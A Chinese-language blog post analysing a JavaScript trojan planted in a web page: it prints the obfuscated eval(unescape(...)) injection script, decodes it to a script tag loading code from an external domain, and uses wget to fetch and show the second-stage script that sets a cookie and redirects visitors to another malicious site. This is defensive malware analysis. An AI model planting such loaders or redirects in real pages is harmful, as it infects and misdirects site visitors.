一次web木马解剖

本文起源于:http://www.path8.net/tn/archives/4235

木马解剖:

这是一段JS木马,请一定谨慎,不要在浏览器中执行。但在本站本文中阅读是安全的,本文url如下http://www.path8.net/tn/archives/4235 ;但笔者不能保证对本文的转载也是安全。
<script>eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%65%73%73%74%68%65%6E%61%6D%69%6E%75%74%65%68%61%6E%64%6C%65%2E%63%6F%6D%2F%6A%73%2E%70%68%70%3F%6B%6B%3D%33%33%22%3E%3C%2F%73%63%72%69%70%74%3E%27%29%3B"))</script>

分析:这也是清理木马时就想做的事情。木马本身是一段转码过和js字符串,执行时要先unescape反转码,得到一个字符串,然后把该字符串当作一段代码eval执行。

新建一个.html文件,内容如下:

<script>document.write(unescape(“%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%65%73%73%74%68%65%6E%61%6D%69%6E%75%74%65%68%61%6E%64%6C%65%2E%63%6F%6D%2F%6A%73%2E%70%68%70%3F%6B%6B%3D%33%33%22%3E%3C%2F%73%63%72%69%70%74%3E%27%29%3B”))</script>
在chrome里查看,但得到提示消息:

看来chrome在安全方面做得确实不错,对于包含恶意代码的网站给出警示消息。分析可能反编码后的代码还是,一段js,再从某个网站上下载木马 (一般网页挂马都是这个模式),document.write 写到页面里的这段代码,还是可能被执行的,这不安全的,尽管我在linux下,要换一下输出方式。

使用alert提示框,这样反转码后的字符串是不会被执行的。而且在fedora linux下的alert提示框也是可以使用鼠标选择复制的,这比windows下的alert消息框方便多了!代码如下

<script>alert(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%65%73%73%74%68%65%6E%61%6D%69%6E%75%74%65%68%61%6E%64%6C%65%2E%63%6F%6D%2F%6A%73%2E%70%68%70%3F%6B%6B%3D%33%33%22%3E%3C%2F%73%63%72%69%70%74%3E%27%29%3B"))</script>

小心,这段也是木马
document.write('<script src="http://lessthenaminutehandle.com/js.php?kk=33"></script>');

看到了,反编码后的字串果然就是个document.write语句,往页面html文档里写入一段js,这段js就来自一个从外部站点上下来的文档,这里还是个动态文件,看来这个域名上有很多木马,以参数传递;或者后面的?kk=33只是用来统计来源的字串。

看看它是什么东西,要有点探索精神~~

这次就不能使用浏览器了,不安全,也不方便;那用什么呢?Linux终端命令行啊!wget 这不是最方便的工具吗?

[feng@fsc tmp]$ wget http://lessthenaminutehandle.com/js.php?kk=33

[feng@fsc tmp]$ cat js.php\?kk\=33

function ssdfsc(cefrvwerfv3rg5e,vbeal,ebtal){
var ewefwe=new Date();
var vcwc = ewefwe.getDate()+ebtal;
ewefwe.setDate(vcwc);
var owc3te = ewefwe.toGMTString();
document.cookie=cefrvwerfv3rg5e+”=”+escape(vbeal)+”;expires=”+owc3te;

}

function wsdfsdd(cefrvwerfv3rg5e){
if (document.cookie.indexOf(cefrvwerfv3rg5e+”=”)!=-1)return “1”;
return “”;
}

if (wsdfsdd(“eererfero”)==””){
ssdfsc(“eererfero”,”1″,20);
var derverv=”http://www3.personalsecurityrn.rr.nu/?1dd9536=m%2Bzgl2uilqSsld7K0LCYienm1bHco6djpaJgo6xjlYg%3D”;

window.top.location.replace(derverv);
}

还要从别的站点上下载文件,不知道是什么,再来点探索精神,看看:

wget -O xxx.js http://www3.personalsecurityrn.rr.nu/?1dd9536=m%2Bzgl2uilqSsld7K0LCYienm1bHco6djpaJgo6xjlYg%3D

以为又是个js,结果是个html文档,比较大,就不贴出来了,参看附件:

xxx.js.html.zip 木马文件,慎重下载

还有,前面的js请求传递的kk=33,分析一下这个站点上是不是多个木马,还仅仅是个统计用的参数

[feng@fsc tmp]$ wget http://lessthenaminutehandle.com/js.php?kk=32
--2011-03-19 12:12:06--  http://lessthenaminutehandle.com/js.php?kk=32
正在解析主机 lessthenaminutehandle.com... 91.193.194.110
正在连接 lessthenaminutehandle.com|91.193.194.110|:80... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度:573 [text/html]
正在保存至: “js.php?kk=32”

100%[======================================>] 573         --.-K/s   in 0s      

2011-03-19 12:12:07 (36.2 MB/s) - 已保存 “js.php?kk=32” [573/573])

[feng@fsc tmp]$ cat js.php\?kk\=32


function ssdfsc(cefrvwerfv3rg5e,vbeal,ebtal){
 var ewefwe=new Date();
 var vcwc = ewefwe.getDate()+ebtal;
 ewefwe.setDate(vcwc);
 var owc3te = ewefwe.toGMTString();
 document.cookie=cefrvwerfv3rg5e+"="+escape(vbeal)+";expires="+owc3te;

}

function wsdfsdd(cefrvwerfv3rg5e){
 if (document.cookie.indexOf(cefrvwerfv3rg5e+"=")!=-1)return "1";
 return "";
}

if (wsdfsdd("eererfero")==""){
 ssdfsc("eererfero","1",20);
 var derverv="http://www3.personalsecurityrn.rr.nu/?1dd9536=m%2Bzgl2uilqSsld7K0LCYienm1bHco6djpaJgo6xjlYg%3D";

 window.top.location.replace(derverv);
}

好像一样,那基本上可以认定是个统计参数,马夫们也要来统计马都撒到哪里了,虽然这些马夫很可恶,没有一点黑客精神,就会拿黑客技术来搞破坏、谋私利!

貌似很复杂,都快十二点半了,不看了,探索精神不能当饭吃,准备吃饭去。

突然联想到,这些所谓有黑客他,也会说一句类似的话:“黑客精神又不能当饭吃!” ——这个最让整个人类蛋疼的事情:“吃饭”

发表评论?

0 条评论。

发表评论